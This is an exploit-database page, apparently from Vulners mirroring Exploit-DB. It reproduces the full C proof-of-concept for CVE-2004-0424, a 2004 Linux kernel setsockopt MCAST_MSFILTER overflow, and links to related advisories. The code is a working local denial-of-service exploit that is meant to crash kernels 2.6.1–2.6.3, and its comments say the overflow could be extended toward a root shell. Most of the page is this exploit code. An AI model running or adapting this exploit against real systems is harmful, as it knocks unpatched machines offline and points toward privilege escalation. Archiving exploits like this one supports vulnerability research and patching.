Lucene search
+L

Linux Kernel 2.6.3 - 'setsockopt' Local Denial of Service

🗓️ 21 Apr 2004 00:00:00Reported by Julien TinnesType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 94 Views

Local Denial of Service exploit for Linux Kernel 2.6.3 using setsockopt vulnerability.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2004-0424
30 Apr 200404:00
cve
cvelist
Cvelist
CVE-2004-0424
30 Apr 200404:00
cvelist
euvd
EUVD
EUVD-2004-0423
7 Oct 202500:30
euvd
nessus
Tenable Nessus
Fedora Core 1 : kernel-2.4.22-1.2188.nptl (2004-111)
23 Jul 200400:00
nessus
nessus
Tenable Nessus
Mandrake Linux Security Advisory : kernel (MDKSA-2004:037)
31 Jul 200400:00
nessus
nessus
Tenable Nessus
RHEL 3 : kernel (RHSA-2004:183)
6 Jul 200400:00
nessus
nessus
Tenable Nessus
Slackware 9.1 / current : kernel security updates (SSA:2004-119-01)
13 Jul 200500:00
nessus
nessus
Tenable Nessus
SuSE-SA:2004:010: Linux Kernel
25 Jul 200400:00
nessus
nvd
NVD
CVE-2004-0424
7 Jul 200404:00
nvd
openvas
OpenVAS
Slackware: Security Advisory (SSA:2004-119-01)
10 Sep 201200:00
openvas
Rows per page
/* setsockopt proof of concept code by Julien TINNES (julien a.t cr0.org)
vulnerability found (as always by Paul Starzetz

This is only a lame POC which will crash the machine, no root shell here.
Maybe later, when everybody will have an updated box.

It should work on 2.6.1, 2.6.2 and 2.6.3 kernels.

Greets to Christophe Devine, too bad you wasn't with me for this one.

*/


#include <errno.h>
void perror (const char *s);

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/socket.h>

#define SOL_IP 0
#define MCAST_MSFILTER 48

/* mynumsrc and alloc_room control the overflow
* what we write can be controlled too (not needed
* here but needed for rootshell exploit
*/

#define mynumsrc 0x100 /* 0x100 should be enough, can be tweaked */
#define alloc_room 1 /* let it alocate only one u32 */

struct mygroup_filter
{
__u32 gf_interface; /* interface index */
struct sockaddr_storage gf_group; /* multicast address */
__u32 gf_fmode; /* filter mode */
__u32 gf_numsrc; /* number of sources */
struct sockaddr_storage gf_slist[mynumsrc]; /* interface index */
};


void
main (void)
{

int mysocket;
int sockprot;
struct mygroup_filter mygroup;
int optlen;
int i;
struct sockaddr_in *psin;

mygroup.gf_interface = 0;
mygroup.gf_numsrc = (1 << 30) - 4 + alloc_room;

mygroup.gf_group.ss_family = AF_INET;



for (i = 0; i < mynumsrc; i++)
{
psin = (struct sockaddr_in *) &mygroup.gf_slist[i];
psin->sin_family = AF_INET;
}


mysocket = socket (PF_INET, SOCK_STREAM, 0);

if (mysocket == -1)
{
perror ("Socket creation error: ");
exit (1);
}

optlen = sizeof (struct mygroup_filter);

printf ("Calling setsockopt(), this should crash the box...\n");
sockprot = setsockopt (mysocket, SOL_IP, MCAST_MSFILTER, &mygroup, optlen);

if (sockprot == -1)
{
perror ("Invalid setsockopt: ");
exit (1);
}
}




// milw0rm.com [2004-04-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Mar 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01238
94